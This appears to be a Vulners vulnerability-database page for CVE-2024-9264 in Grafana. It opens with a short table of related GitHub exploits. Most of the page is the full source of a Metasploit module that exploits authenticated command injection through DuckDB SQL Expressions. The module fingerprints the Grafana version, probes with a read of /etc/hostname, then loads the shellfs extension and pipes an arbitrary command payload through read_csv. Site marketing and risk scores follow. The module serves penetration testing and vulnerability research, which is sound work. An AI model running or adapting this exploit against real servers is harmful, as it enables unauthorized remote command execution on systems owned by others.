| Reporter | Title | Published | Views | Family All 187 |
|---|---|---|---|---|
| Exploit for Code Injection in Grafana | 15 Jun 202500:38 | – | githubexploit | |
| Exploit for Code Injection in Grafana | 31 May 202520:06 | – | githubexploit | |
| Exploit for Command Injection in Grafana | 9 Feb 202614:30 | – | githubexploit | |
| Exploit for Code Injection in Grafana | 5 Jul 202523:51 | – | githubexploit | |
| Exploit for Code Injection in Grafana | 5 Jul 202514:03 | – | githubexploit | |
| Exploit for Code Injection in Grafana | 29 Jun 202606:44 | – | githubexploit | |
| Exploit for Code Injection in Grafana | 19 Oct 202413:50 | – | githubexploit | |
| Exploit for Code Injection in Grafana | 21 Oct 202403:36 | – | githubexploit | |
| Exploit for Code Injection in Grafana | 20 Oct 202401:13 | – | githubexploit | |
| Exploit for Command Injection in Grafana | 22 Jul 202615:33 | – | githubexploit |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Grafana SQL Expressions DuckDB Command Injection',
'Description' => %q{
This module exploits an authenticated command injection vulnerability in Grafana's
experimental SQL Expressions feature. Affected Grafana releases are 11.0.0 through
11.0.6, 11.1.0 through 11.1.7, and 11.2.0 through 11.2.2. They pass attacker-controlled
SQL expressions to DuckDB without sufficient sanitization.
Successful command execution requires the duckdb binary to be available in the Grafana
process PATH. This module uses DuckDB's shellfs community extension and Unix pipe syntax,
so it is limited to Unix-like targets with shellfs available. The extension installation
may download and cache files on the target.
},
'License' => MSF_LICENSE,
'Author' => [
'Özcan Ersan (@ozcanpng) <ozcanersan[at]proton.me>' # PoC and Metasploit module
],
'References' => [
['CVE', '2024-9264'],
['URL', 'https://grafana.com/security/security-advisories/cve-2024-9264/'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2024-9264'],
['URL', 'https://github.com/ozcanpng/CVE-2024-9264']
],
'DisclosureDate' => '2024-10-17',
'Targets' => [
['Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD }]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 3000
},
'Privileged' => false,
'Payload' => {
'Space' => 4096,
# DuckDB string literals cannot contain a NUL byte. Single quotes are
# escaped by duckdb_quote before they are embedded in the expression.
'BadChars' => "\x00"
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path to Grafana', '/']),
OptString.new('USERNAME', [false, 'Grafana username for HTTP Basic authentication']),
OptString.new('PASSWORD', [false, 'Grafana password for HTTP Basic authentication'])
])
end
def check
return CheckCode::Unknown('USERNAME and PASSWORD must both be set or both be empty') if credentials_incomplete?
version = grafana_version
return CheckCode::Unknown('Could not identify a Grafana instance') unless version
report_service(host: rhost, port: rport, name: ssl ? 'https' : 'http', proto: 'tcp', info: "Grafana #{version}")
return CheckCode::Safe("Grafana #{version} is not an affected release") unless affected_version?(version)
response = expression_request([expression_query('A', "SELECT content FROM read_blob('/etc/hostname')")])
return CheckCode::Unknown('Connection failed while verifying SQL Expressions') unless response
return CheckCode::Detected('HTTP Basic authentication failed') if response.code == 401
if response.code == 200 && expression_content(response, 'A')
return CheckCode::Vulnerable("Grafana #{version} executed a DuckDB read_blob SQL expression")
end
CheckCode::Appears("Affected Grafana #{version} detected, but the safe DuckDB verification did not succeed")
rescue Rex::ConnectionError, Rex::TimeoutError => e
CheckCode::Unknown("Connection failed: #{e.message}")
end
def exploit
fail_with(Failure::BadConfig, 'USERNAME and PASSWORD must both be set or both be empty') if credentials_incomplete?
output_file = "/tmp/#{Rex::Text.rand_text_alphanumeric(16)}"
register_file_for_cleanup(output_file)
print_status('Installing and loading the DuckDB shellfs extension')
response = execute_command(payload.encoded, output_file)
unless response
print_warning('No response received; the command payload may still be executing')
return
end
fail_with(Failure::NoAccess, 'HTTP Basic authentication failed') if response.code == 401
fail_with(Failure::UnexpectedReply, "SQL Expressions request failed with HTTP status #{response.code}") unless response.code == 200
result = expression_error(response, 'A') || expression_error(response, 'B')
fail_with(Failure::PayloadFailed, "DuckDB command execution failed: #{result}") if result
print_good('Command payload delivered successfully')
end
def execute_command(command, output_file)
pipe_command = "(#{command}) > #{output_file} 2>&1 |"
expression_request([
expression_query('A', "SELECT 1; INSTALL shellfs FROM community; LOAD shellfs; SELECT * FROM read_csv('#{duckdb_quote(pipe_command)}', header=false)"),
expression_query('B', "SELECT content FROM read_blob('#{duckdb_quote(output_file)}')")
])
end
def grafana_version
response = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'health')
)
return unless response&.code == 200
response.get_json_document['version']
end
def affected_version?(version)
# Security releases retain their base release number but add this suffix.
# Check it before comparing the numeric portion of the version.
return false if version.match?(/\+security-\d+\z/)
parsed_version = Rex::Version.new(version)
(parsed_version >= Rex::Version.new('11.0.0') && parsed_version <= Rex::Version.new('11.0.6')) ||
(parsed_version >= Rex::Version.new('11.1.0') && parsed_version <= Rex::Version.new('11.1.7')) ||
(parsed_version >= Rex::Version.new('11.2.0') && parsed_version <= Rex::Version.new('11.2.2'))
rescue ArgumentError
false
end
def expression_request(queries)
request = {
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'ds', 'query'),
'vars_get' => {
'ds_type' => '__expr__',
'expression' => 'true',
'requestId' => 'Q100'
},
'ctype' => 'application/json',
'data' => {
'queries' => queries,
'from' => '1',
'to' => '2'
}.to_json
}
request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if basic_auth_configured?
send_request_cgi(request)
end
def expression_query(ref_id, expression)
{
'refId' => ref_id,
'datasource' => {
'type' => '__expr__',
'uid' => '__expr__',
'name' => 'Expression'
},
'type' => 'sql',
'expression' => expression
}
end
def expression_content(response, ref_id)
values = response.get_json_document.dig('results', ref_id, 'frames', 0, 'data', 'values', 0)
values&.first
end
def expression_error(response, ref_id)
response.get_json_document.dig('results', ref_id, 'error')
end
def duckdb_quote(value)
value.gsub("'", "''")
end
def basic_auth_configured?
!datastore['USERNAME'].to_s.empty?
end
def credentials_incomplete?
datastore['USERNAME'].to_s.empty? != datastore['PASSWORD'].to_s.empty?
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Oct 2026 00:00Current
8.3High risk
Vulners AI Score8.3
CVSS 3.18.8 - 9.9
CVSS 49.4
EPSS0.97138
SSVC